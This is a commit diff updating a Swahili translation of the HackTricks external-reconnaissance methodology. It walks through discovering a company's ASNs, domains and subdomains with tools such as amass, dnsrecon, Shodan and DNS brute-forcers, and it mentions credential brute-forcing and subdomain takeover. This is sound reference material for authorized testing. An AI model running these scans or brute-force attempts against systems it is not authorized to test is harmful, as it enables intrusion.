Translated ['generic-methodologies-and-resources/external-recon-methodol

This commit is contained in:
Translator 2024-02-23 16:48:14 +00:00
parent 093d00c09f
commit 57171763df
56 changed files with 2744 additions and 3148 deletions

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.6 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 1.6 KiB

After

Width:  |  Height:  |  Size: 16 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 16 KiB

After

Width:  |  Height:  |  Size: 132 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 132 KiB

After

Width:  |  Height:  |  Size: 20 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 20 KiB

After

Width:  |  Height:  |  Size: 8.1 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 8.1 KiB

After

Width:  |  Height:  |  Size: 51 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 51 KiB

After

Width:  |  Height:  |  Size: 32 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 32 KiB

After

Width:  |  Height:  |  Size: 39 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 39 KiB

After

Width:  |  Height:  |  Size: 72 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 72 KiB

After

Width:  |  Height:  |  Size: 322 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 322 KiB

After

Width:  |  Height:  |  Size: 36 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 36 KiB

After

Width:  |  Height:  |  Size: 34 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 34 KiB

After

Width:  |  Height:  |  Size: 176 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 176 KiB

After

Width:  |  Height:  |  Size: 152 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 152 KiB

After

Width:  |  Height:  |  Size: 31 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 31 KiB

After

Width:  |  Height:  |  Size: 71 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 71 KiB

After

Width:  |  Height:  |  Size: 65 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 65 KiB

After

Width:  |  Height:  |  Size: 42 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 42 KiB

After

Width:  |  Height:  |  Size: 43 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 43 KiB

After

Width:  |  Height:  |  Size: 79 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 79 KiB

After

Width:  |  Height:  |  Size: 201 KiB

View file

@ -161,6 +161,7 @@
* [macOS Privilege Escalation](macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md)
* [macOS Proces Abuse](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/README.md)
* [macOS Dirty NIB](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-dirty-nib.md)
* [macOS Chromium Injection](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-chromium-injection.md)
* [macOS Electron Applications Injection](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md)
* [macOS Function Hooking](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md)
* [macOS IPC - Inter Process Communication](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md)
@ -509,7 +510,7 @@
* [47808/udp - Pentesting BACNet](network-services-pentesting/47808-udp-bacnet.md)
* [50030,50060,50070,50075,50090 - Pentesting Hadoop](network-services-pentesting/50030-50060-50070-50075-50090-pentesting-hadoop.md)
## 🕸 Pentesting Web
## 🕸 Pentesting Web
* [Web Vulnerabilities Methodology](pentesting-web/web-vulnerabilities-methodology/README.md)
* [Reflecting Techniques - PoCs and Polygloths CheatSheet](pentesting-web/pocs-and-polygloths-cheatsheet/README.md)
@ -664,7 +665,7 @@
* [CSS Injection](pentesting-web/xs-search/css-injection/README.md)
* [CSS Injection Code](pentesting-web/xs-search/css-injection/css-injection-code.md)
## ⛈ Cloud Security
## ⛈ Cloud Security
* [Pentesting Kubernetes](https://cloud.hacktricks.xyz/pentesting-cloud/kubernetes-security)
* [Pentesting Cloud (AWS, GCP, Az...)](https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology)
@ -722,7 +723,7 @@
* [ICMPsh](backdoors/icmpsh.md)
* [Cobalt Strike](c2/cobalt-strike.md)
## ✍ TODO
## ✍ TODO
* [Other Big References](misc/references.md)
* [Rust Basics](todo/rust-basics.md)

View file

@ -6,7 +6,7 @@
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
@ -14,9 +14,9 @@ Njia nyingine za kusaidia HackTricks:
</details>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Ikiwa una nia ya **kazi ya kudukua** na kudukua yasiyodukuliwa - **tunakupa kazi!** (_uwezo wa kuandika na kuzungumza Kipolishi kwa ufasaha unahitajika_).
Ikiwa una nia ya **kazi ya kudukua** na kudukua yasiyodukuliwa - **tunakupa kazi!** (_inahitajika uwezo wa kuandika na kuzungumza Kipolishi kwa ufasaha_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -24,16 +24,16 @@ Ikiwa una nia ya **kazi ya kudukua** na kudukua yasiyodukuliwa - **tunakupa kazi
> Kwa hivyo uliambiwa kwamba kila kitu kinachomilikiwa na kampuni fulani kipo ndani ya wigo, na unataka kugundua ni nini kampuni hii kwa kweli inamiliki.
Lengo la hatua hii ni kupata **kampuni zote zinazomilikiwa na kampuni kuu** na kisha mali zote za **kampuni hizi**. Ili kufanya hivyo, tutafanya yafuatayo:
Lengo la hatua hii ni kupata **kampuni zote zinazomilikiwa na kampuni kuu** na kisha **mali** zote za kampuni hizi. Ili kufanya hivyo, tutafanya yafuatayo:
1. Tafuta ununuzi wa kampuni kuu, hii itatupa kampuni zilizo ndani ya wigo.
2. Tafuta ASN (ikiwa ipo) ya kila kampuni, hii itatupa safu za IP zinazomilikiwa na kila kampuni.
2. Tafuta ASN (ikiwapo ipo) ya kila kampuni, hii itatupa safu za IP zinazomilikiwa na kila kampuni.
3. Tumia utafutaji wa whois uliorejea nyuma kutafuta kuingia nyingine (majina ya shirika, uwanja...) unaohusiana na la kwanza (hii inaweza kufanywa kwa njia ya kurudufu).
4. Tumia mbinu nyingine kama shodan `org`na `ssl`filters kutafuta mali zingine (mbinu ya `ssl` inaweza kufanywa kwa njia ya kurudufu).
### **Ununuzi**
Kwanza kabisa, tunahitaji kujua ni **kampuni gani nyingine inamilikiwa na kampuni kuu**.\
Kwanza kabisa, tunahitaji kujua ni **kampuni zipi zingine zinamilikiwa na kampuni kuu**.\
Chaguo moja ni kutembelea [https://www.crunchbase.com/](https://www.crunchbase.com), **tafuta** **kampuni kuu**, na **bonyeza** "**ununuzi**". Huko utaona kampuni zingine zilizonunuliwa na ile kuu.\
Chaguo lingine ni kutembelea ukurasa wa **Wikipedia** wa kampuni kuu na kutafuta **ununuzi**.
@ -41,18 +41,18 @@ Chaguo lingine ni kutembelea ukurasa wa **Wikipedia** wa kampuni kuu na kutafuta
### **ASNs**
Namba ya mfumo huru (**ASN**) ni **namba ya kipekee** inayotolewa kwa **mfumo huru** (AS) na **Mamlaka ya Namba za Mtandao wa Dunia (IANA)**.\
**AS** inajumuisha **vifungu** vya **anwani za IP** ambazo zina sera iliyowekwa wazi kwa kupata mitandao ya nje na inasimamiwa na shirika moja lakini inaweza kuundwa na waendeshaji kadhaa.
Namba ya mfumo huru (**ASN**) ni **namba ya kipekee** inayotolewa kwa **mfumo huru** (AS) na **Mamlaka ya Namba za Mtandao (IANA)**.\
AS inajumuisha **vifungu** vya **anwani za IP** ambazo zina sera iliyowekwa wazi kwa kupata mitandao ya nje na inasimamiwa na shirika moja lakini inaweza kuundwa na waendeshaji kadhaa.
Ni muhimu kujua ikiwa **kampuni imetengewa ASN yoyote** ili kupata **safu zake za IP**. Itakuwa muhimu kufanya **jaribio la udhaifu** dhidi ya **mashine zote** ndani ya **wigo** na kutafuta **uwanja** ndani ya IP hizo.\
Ni muhimu kujua ikiwa **kampuni imetengewa ASN yoyote** ili kupata **safu zake za IP**. Itakuwa muhimu kufanya **jaribio la udhaifu** dhidi ya **mashine zote** ndani ya **wigo** na **kutafuta uwanja** ndani ya IP hizo.\
Unaweza **kutafuta** kwa jina la kampuni, kwa **IP** au kwa **uwanja** kwenye [**https://bgp.he.net/**](https://bgp.he.net)**.**\
**Kulingana na eneo la kampuni viungo hivi vinaweza kuwa vya manufaa kukusanya data zaidi:** [**AFRINIC**](https://www.afrinic.net) **(Afrika),** [**Arin**](https://www.arin.net/about/welcome/region/)**(Amerika Kaskazini),** [**APNIC**](https://www.apnic.net) **(Asia),** [**LACNIC**](https://www.lacnic.net) **(Amerika ya Kilatini),** [**RIPE NCC**](https://www.ripe.net) **(Ulaya). Hata hivyo, labda taarifa zote muhimu (safu za IP na Whois)** tayari zinaonekana kwenye kiungo cha kwanza.
**Kulingana na eneo la kampuni viungo hivi vinaweza kuwa vya manufaa kukusanya data zaidi:** [**AFRINIC**](https://www.afrinic.net) **(Afrika),** [**Arin**](https://www.arin.net/about/welcome/region/)**(Amerika Kaskazini),** [**APNIC**](https://www.apnic.net) **(Asia),** [**LACNIC**](https://www.lacnic.net) **(Amerika ya Kilatini),** [**RIPE NCC**](https://www.ripe.net) **(Ulaya). Hata hivyo, labda taarifa zote muhimu (safu za IP na Whois)** zinaonekana tayari kwenye kiungo cha kwanza.
```bash
#You can try "automate" this with amass, but it's not very recommended
amass intel -org tesla
amass intel -asn 8911,50313,394161
```
Pia, uchambuzi wa subdomain wa [**BBOT**](https://github.com/blacklanternsecurity/bbot) hukusanya na kutoa muhtasari wa ASNs mwishoni mwa uchambuzi.
Pia, uchambuzi wa subdomain wa [**BBOT**](https://github.com/blacklanternsecurity/bbot) hukusanya na kutoa muhtasari wa ASNs mwishoni mwa uchunguzi.
```bash
bbot -t tesla.com -f subdomain-enum
...
@ -69,26 +69,26 @@ bbot -t tesla.com -f subdomain-enum
[INFO] bbot.modules.asn: +----------+---------------------+--------------+----------------+----------------------------+-----------+
```
Unaweza kupata masafa ya IP ya shirika pia kwa kutumia [http://asnlookup.com/](http://asnlookup.com) (ina API ya bure).\
Unaweza kupata safu za IP za shirika pia kwa kutumia [http://asnlookup.com/](http://asnlookup.com) (ina API ya bure).\
Unaweza kupata IP na ASN ya kikoa kwa kutumia [http://ipv4info.com/](http://ipv4info.com).
### **Kutafuta Udhaifu**
Kufikia hatua hii tunajua **mali zote ndani ya eneo la kuchunguza**, hivyo ikiwa unaruhusiwa unaweza kuzindua baadhi ya **skana za udhaifu** (Nessus, OpenVAS) kwenye mwenyeji wote.\
Pia, unaweza kuzindua baadhi ya [**skani za bandari**](../pentesting-network/#discovering-hosts-from-the-outside) **au kutumia huduma kama** shodan **kupata** bandari zilizofunguliwa **na kulingana na unachopata unapaswa** kutazama kitabu hiki jinsi ya kufanya ukaguzi wa usalama wa huduma kadhaa zinazofanya kazi.\
**Pia, Inaweza kuwa na maana kutaja kwamba unaweza pia kuandaa baadhi ya** majina ya mtumiaji ya msingi **na** nywila **na kujaribu** kuvunja nguvu huduma na [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray).
Kufikia hatua hii tunajua **mali zote ndani ya eneo la kuzingatia**, hivyo ikiwa unaruhusiwa unaweza kuzindua baadhi ya **skana za udhaifu** (Nessus, OpenVAS) kwenye mwenyeji wote.\
Pia, unaweza kuzindua baadhi ya [**skani za bandari**](../pentesting-network/#discovering-hosts-from-the-outside) **au kutumia huduma kama** shodan **kupata** bandari zilizofunguliwa **na kulingana na unachopata unapaswa** kutazama kitabu hiki jinsi ya kufanya ukaguzi wa usalama wa huduma kadhaa zinazoweza kuendeshwa.\
**Pia, inaweza kuwa muhimu kutaja kwamba unaweza pia kuandaa baadhi ya** majina ya mtumiaji ya msingi **na** nywila **na kujaribu kufanya** mashambulizi ya nguvu kwa huduma na [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray).
## Viko
## Vikocho
> Tunajua makampuni yote ndani ya eneo la kuchunguza na mali zao, ni wakati wa kupata viko ndani ya eneo la kuchunguza.
> Tunajua makampuni yote ndani ya eneo la kuzingatia na mali zao, ni wakati wa kupata vikocho ndani ya eneo la kuzingatia.
_Tafadhali, kumbuka kwamba katika mbinu zilizopendekezwa zifuatazo unaweza pia kupata viko vya pili na habari hiyo isipaswi kupuuzwa._
_Tafadhali, elewa kwamba katika mbinu zilizopendekezwa zifuatazo unaweza pia kupata vikocho vya pili na taarifa hiyo isipaswi kupuuzwa._
Kwanza kabisa unapaswa kutafuta **viko vikuu** vya kila kampuni. Kwa mfano, kwa _Tesla Inc._ itakuwa _tesla.com_.
Kwanza kabisa unapaswa kutafuta **vikocho vikuu** vya kila kampuni. Kwa mfano, kwa _Tesla Inc._ itakuwa _tesla.com_.
### **DNS ya Nyuma**
Baada ya kupata masafa yote ya IP ya viko unaweza kujaribu kufanya **utafutaji wa DNS ya nyuma** kwenye **IP hizo ili kupata viko zaidi ndani ya eneo la kuchunguza**. Jaribu kutumia seva fulani ya dns ya mwathiriwa au seva ya dns inayojulikana (1.1.1.1, 8.8.8.8)
Baada ya kupata safu zote za IP za vikocho unaweza kujaribu kufanya **utafutaji wa DNS ya nyuma** kwenye **IP hizo ili kupata vikocho zaidi ndani ya eneo la kuzingatia**. Jaribu kutumia seva ya DNS ya mwathiriwa au seva ya DNS inayojulikana (1.1.1.1, 8.8.8.8)
```bash
dnsrecon -r <DNS Range> -n <IP_DNS> #DNS reverse of all of the addresses
dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns
@ -100,7 +100,7 @@ Unaweza pia kutumia chombo mtandaoni kwa habari hii: [http://ptrarchive.com/](ht
### **Reverse Whois (mzunguko)**
Ndani ya **whois** unaweza kupata habari nyingi za kuvutia kama **jina la shirika**, **anwani**, **barua pepe**, namba za simu... Lakini jambo linalovutia zaidi ni kwamba unaweza kupata **mali zaidi zinazohusiana na kampuni** ikiwa utafanya **utafutaji wa reverse whois kwa kutumia mojawapo ya hizo taarifa** (kwa mfano rekodi nyingine za whois ambapo anwani ya barua pepe inaonekana).\
Ndani ya **whois** unaweza kupata **habari nyingi za kuvutia** kama **jina la shirika**, **anwani**, **barua pepe**, namba za simu... Lakini jambo linalovutia zaidi ni kwamba unaweza kupata **mali zaidi zinazohusiana na kampuni** ikiwa utafanya **utafutaji wa reverse whois kwa kutumia mojawapo ya hizo** (kwa mfano, mirejesho mingine ya whois ambapo anwani ile ile ya barua pepe inaonekana).\
Unaweza kutumia zana mtandaoni kama:
* [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **Bure**
@ -114,14 +114,14 @@ Unaweza kutumia zana mtandaoni kama:
Unaweza kiotomatiki kazi hii kutumia [**DomLink** ](https://github.com/vysecurity/DomLink)(inahitaji ufunguo wa API ya whoxy).\
Unaweza pia kufanya ugunduzi wa reverse whois kiotomatiki na [amass](https://github.com/OWASP/Amass): `amass intel -d tesla.com -whois`
**Tambua kwamba unaweza kutumia mbinu hii kugundua majina zaidi ya kikoa kila wakati unapopata kikoa kipya.**
**Tambua kwamba unaweza kutumia mbinu hii kugundua majina zaidi ya kikoa kila unapopata kikoa kipya.**
### **Trackers**
Ukiona **kitambulisho kimoja cha kufuatilia** cha kufuatilia kimoja kwenye kurasa 2 tofauti unaweza kudhani kwamba **kurasa zote** zinasimamiwa na **timu moja**.\
Ukiona **kitambulisho kimoja cha kufuatilia** cha kufuatilia kimoja kwenye kurasa 2 tofauti unaweza kudhani kwamba **kurasa zote** zinasimamiwa na **timu ile ile**.\
Kwa mfano, ikiwa unaona **kitambulisho kimoja cha Google Analytics** au **kitambulisho kimoja cha Adsense** kwenye kurasa kadhaa.
Kuna kurasa na zana zinazoruhusu utafutaji kwa kutumia hizi trackers na zaidi:
Kuna kurasa na zana zinazoruhusu utafutaji kwa kutumia hizi za kufuatilia na zaidi:
* [**Udon**](https://github.com/dhn/udon)
* [**BuiltWith**](https://builtwith.com)
@ -131,7 +131,7 @@ Kuna kurasa na zana zinazoruhusu utafutaji kwa kutumia hizi trackers na zaidi:
### **Favicon**
Je! Ulijua kwamba tunaweza kupata vikoa vinavyohusiana na lengo letu kwa kutafuta hash sawa ya alama ya favicon? Hii ndio hasa kile [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) zana iliyotengenezwa na [@m4ll0k2](https://twitter.com/m4ll0k2) inafanya. Hivi ndivyo unavyoweza kutumia:
Je! Ulijua kwamba tunaweza kupata vikoa vinavyohusiana na lengo letu kwa kutafuta hash sawa ya ikoni ya favicon? Hii ndio hasa kile [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) zana iliyotengenezwa na [@m4ll0k2](https://twitter.com/m4ll0k2) inafanya. Hivi ndivyo unavyoweza kutumia:
```bash
cat my_targets.txt | xargs -I %% bash -c 'echo "http://%%/favicon.ico"' > targets.txt
python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
@ -159,7 +159,7 @@ return fhash
```
### **Haki miliki / Uniq string**
Tafuta ndani ya kurasa za wavuti **maneno ambayo yanaweza kushirikiwa kati ya wavuti tofauti ndani ya shirika moja**. **Uniq string** inaweza kuwa mfano mzuri. Kisha tafuta neno hilo katika **google**, katika **vibonyezo vingine** au hata katika **shodan**: `shodan search http.html:"Uniq string"`
Tafuta ndani ya kurasa za wavuti **maneno ambayo yanaweza kushirikiwa kati ya wavuti tofauti katika shirika moja**. **Uniq string** inaweza kuwa mfano mzuri. Kisha tafuta neno hilo katika **google**, katika **vibonyezo vingine** au hata katika **shodan**: `shodan search http.html:"Uniq string"`
### **Muda wa CRT**
@ -168,7 +168,7 @@ Ni kawaida kuwa na kazi ya cron kama vile
# /etc/crontab
37 13 */10 * * certbot renew --post-hook "systemctl reload nginx"
```
### **Kuchukua Kwa Njia ya Kupita**
### **Uchukuzi wa Kimya**
Inavyoonekana ni kawaida kwa watu kuweka subdomains kwa IPs zinazomilikiwa na watoa huduma wa wingu na wakati mwingine **kupoteza anwani hiyo ya IP lakini kusahau kuondoa rekodi ya DNS**. Kwa hiyo, tu **kuzindua VM** katika wingu (kama Digital Ocean) utakuwa **ukichukua baadhi ya subdomains**.
@ -176,39 +176,39 @@ Inavyoonekana ni kawaida kwa watu kuweka subdomains kwa IPs zinazomilikiwa na wa
### **Njia Nyingine**
**Tambua kwamba unaweza kutumia mbinu hii kugundua majina zaidi ya kikoa kila unapopata kikoa kipya.**
**Tambua kwamba unaweza kutumia mbinu hii kugundua majina zaidi ya uwanja kila unapopata uwanja mpya.**
**Shodan**
Kwa kuwa tayari unajua jina la shirika linalomiliki nafasi ya IP. Unaweza kutafuta kwa data hiyo kwenye shodan kwa kutumia: `org:"Tesla, Inc."` Angalia mwenyeji waliopatikana kwa subdomains mpya zisizotarajiwa kwenye cheti cha TLS.
Kwa kuwa tayari unajua jina la shirika linalomiliki nafasi ya IP. Unaweza kutafuta kwa data hiyo kwenye shodan kwa kutumia: `org:"Tesla, Inc."` Angalia mwenyeji waliopatikana kwa ajili ya uwanja mpya usiotarajiwa kwenye cheti cha TLS.
Unaweza kupata **cheti cha TLS** cha ukurasa wa wavuti kuu, kupata **jina la Shirika** na kisha kutafuta jina hilo ndani ya **cheti za TLS** za kurasa zote za wavuti zinazojulikana na **shodan** kwa kutumia kichujio: `ssl:"Tesla Motors"` au tumia chombo kama [**sslsearch**](https://github.com/HarshVaragiya/sslsearch).
**Assetfinder**
[**Assetfinder**](https://github.com/tomnomnom/assetfinder) ni chombo kinachotafuta **vikoa vinavyohusiana** na kikoa kuu na **subdomains** zao, ni nzuri sana.
[**Assetfinder**](https://github.com/tomnomnom/assetfinder) ni chombo kinachotafuta **uwanja unaohusiana** na uwanja wa msingi na **subdomains** zao, ni nzuri sana.
### **Kutafuta Udhaifu**
Angalia [uchukuzi wa kikoa](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Labda kuna kampuni ina **tumia kikoa** lakini **imepoteza umiliki**. Jiandikishe (ikiwa ni rahisi) kikoa hicho na ujulishe kampuni.
Angalia kwa [uchukuzi wa uwanja](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Labda kuna kampuni ina **tumia uwanja** lakini **imepoteza umiliki**. Jiandikishe (ikiwa ni rahisi) na ujulishe kampuni.
Ikiwa unapata **kikoa na IP tofauti** na zile ulizozipata tayari katika ugunduzi wa mali, unapaswa kufanya uchunguzi wa msingi wa udhaifu (kutumia Nessus au OpenVAS) na [uchunguzi wa **bandari**](../pentesting-network/#discovering-hosts-from-the-outside) na **nmap/masscan/shodan**. Kulingana na huduma zipi zinazoendeshwa unaweza kupata katika **kitabu hiki mbinu za "kuishambulia"**.\
_Tahadhari kwamba mara nyingine kikoa kinaandaliwa ndani ya IP ambayo haikodolewi na mteja, kwa hivyo sio sehemu ya kuchunguza, kuwa mwangalifu._
Ikiwa unapata **uwanja na IP tofauti** na zile ulizozipata tayari katika ugunduzi wa mali, unapaswa kufanya ukaguzi wa msingi wa udhaifu (kwa kutumia Nessus au OpenVAS) na [**ukaguzi wa bandari**](../pentesting-network/#discovering-hosts-from-the-outside) na **nmap/masscan/shodan**. Kulingana na huduma zipi zinazoendeshwa unaweza kupata katika **kitabu hiki mbinu za "kuishambulia"**.\
_Taarifa kwamba mara kwa mara uwanja unahifadhiwa ndani ya IP ambayo haikodolewi na mteja, kwa hivyo sio sehemu ya kuchunguza, kuwa mwangalifu._
<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\
**Mwongozo wa tuzo ya mdudu**: **jiandikishe** kwa **Intigriti**, jukwaa la **tuzo za mdudu za hali ya juu lililoanzishwa na wadukuzi, kwa wadukuzi**! Jiunge nasi kwenye [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) leo, na anza kupata tuzo hadi **$100,000**!
**Mbinu ya tuzo ya mdudu**: **jiandikishe** kwa **Intigriti**, jukwaa la **tuzo za mdudu za hali ya juu lililoundwa na wadukuzi, kwa wadukuzi**! Jiunge nasi kwenye [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) leo, na anza kupata tuzo hadi **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
## Subdomains
> Tunajua makampuni yote ndani ya wigo, mali zote za kila kampuni na vikoa vyote vinavyohusiana na makampuni.
> Tunajua makampuni yote ndani ya wigo, mali zote za kila kampuni na mali zote zinazohusiana na makampuni.
Ni wakati wa kupata subdomains zote zinazowezekana za kila kikoa kilichopatikana.
Ni wakati wa kupata subdomains zote zinazowezekana za kila uwanja uliopatikana.
### **DNS**
Hebu jaribu kupata **subdomains** kutoka kwa rekodi za **DNS**. Pia jaribu kwa **Uhamishaji wa Eneo** (Ikiwa ina kasoro, unapaswa kuripoti).
Hebu jaribu kupata **subdomains** kutoka kwa **rekodi za DNS**. Pia jaribu kwa **Uhamishaji wa Eneo** (ikiwa ina kasoro, unapaswa kuripoti).
```bash
dnsrecon -a -d tesla.com
```
@ -315,7 +315,7 @@ shodan domain <domain>
# Get other pages with links to subdomains
shodan search "http.html:help.domain.com"
```
* [**Censys subdomain finder**](https://github.com/christophetd/censys-subdomain-finder)
* [**Censys kugundua kikoa cha pili**](https://github.com/christophetd/censys-subdomain-finder)
```bash
export CENSYS_API_ID=...
export CENSYS_API_SECRET=...
@ -330,13 +330,13 @@ python3 DomainTrail.py -d example.com
Mradi huu unatoa **bure subdomains zote zinazohusiana na programu za bug-bounty**. Unaweza kupata data hii pia kwa kutumia [chaospy](https://github.com/dr-0x0x/chaospy) au hata kupata wigo uliotumiwa na mradi huu [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list)
Unaweza kupata **ulinganifu** wa zana nyingi hapa: [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off)
Unaweza kupata **ulinganisho** wa zana nyingi hapa: [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off)
### **DNS Brute force**
Hebu jaribu kupata **subdomains** mpya kwa kufanya nguvu ya DNS kwa kutumia majina ya subdomains yanayowezekana.
Hebu jaribu kupata **subdomains** mpya kwa kufanya nguvu ya DNS kwa kutumia majina ya subdomain yanayowezekana.
Kwa hatua hii utahitaji **orodha za maneno za kawaida za subdomains kama**:
Kwa hatua hii utahitaji baadhi ya **orodha za maneno ya kawaida ya subdomains kama**:
* [https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056](https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056)
* [https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt](https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt)
@ -344,7 +344,7 @@ Kwa hatua hii utahitaji **orodha za maneno za kawaida za subdomains kama**:
* [https://github.com/pentester-io/commonspeak](https://github.com/pentester-io/commonspeak)
* [https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS](https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS)
Na pia IPs za watoa huduma bora za DNS. Ili kuzalisha orodha ya watoa huduma za DNS za kuaminika unaweza kupakua watoa huduma kutoka [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) na kutumia [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) kuzifuta. Au unaweza kutumia: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt)
Na pia IPs za wapangishaji bora wa DNS. Ili kuzalisha orodha ya wapangishaji wa DNS walioaminika unaweza kupakua wapangishaji kutoka [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) na kutumia [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) kuzifuta. Au unaweza kutumia: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt)
Zana zilizopendekezwa zaidi kwa DNS brute-force ni:
@ -358,7 +358,7 @@ grep -E "tesla.com. [0-9]+ IN A .+" /tmp/results.txt
```
gobuster dns -d mysite.com -t 50 -w subdomains.txt
```
* [**shuffledns**](https://github.com/projectdiscovery/shuffledns) ni kifuniko cha `massdns`, kilichoandikwa kwa lugha ya go, kinachokuwezesha kutambua vikoa vya sehemu halali kwa kutumia nguvu ya bruteforce, pamoja na kutatua vikoa vya sehemu kwa kushughulikia vilivyofichwa na kusaidia kuingiza-kutoa kwa urahisi.
* [**shuffledns**](https://github.com/projectdiscovery/shuffledns) ni kifuniko cha `massdns`, kilichoandikwa kwa lugha ya go, kinachokuwezesha kutambua vikoa vya sehemu halali kwa kutumia nguvu ya bruteforce, pamoja na kutatua vikoa vya sehemu na kushughulikia vilivyofichwa na kusaidia kuingiza-na-kutoa kwa urahisi.
```
shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt
```
@ -370,25 +370,25 @@ puredns bruteforce all.txt domain.com
```
aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com
```
### Raundi ya Pili ya Kudukua DNS
### Raundi ya Pili ya Kuvamia DNS kwa Nguvu
Baada ya kupata subdomains kwa kutumia vyanzo vya wazi na kudukua, unaweza kuzalisha mabadiliko ya subdomains zilizopatikana kujaribu kupata zaidi. Zana kadhaa ni muhimu kwa lengo hili:
Baada ya kupata subdomains kwa kutumia vyanzo vya wazi na kuvamia kwa nguvu, unaweza kuzalisha mabadiliko ya subdomains zilizopatikana kujaribu kupata zaidi. Zana kadhaa ni muhimu kwa lengo hili:
* [**dnsgen**](https://github.com/ProjectAnte/dnsgen)**:** Ikitolewa na kikoa na subdomains huzalisha mabadiliko.
* [**dnsgen**](https://github.com/ProjectAnte/dnsgen)**:** Ikitolewa kwa vikoa na subdomains, huzalisha mabadiliko.
```bash
cat subdomains.txt | dnsgen -
```
* [**goaltdns**](https://github.com/subfinder/goaltdns): Kutoa mizunguko kwa kutumia uwanja na subdomains.
* Unaweza kupata mizunguko ya **wordlist** ya goaltdns [**hapa**](https://github.com/subfinder/goaltdns/blob/master/words.txt).
* Unaweza kupata orodha ya mizunguko ya **wordlist** ya goaltdns [**hapa**](https://github.com/subfinder/goaltdns/blob/master/words.txt).
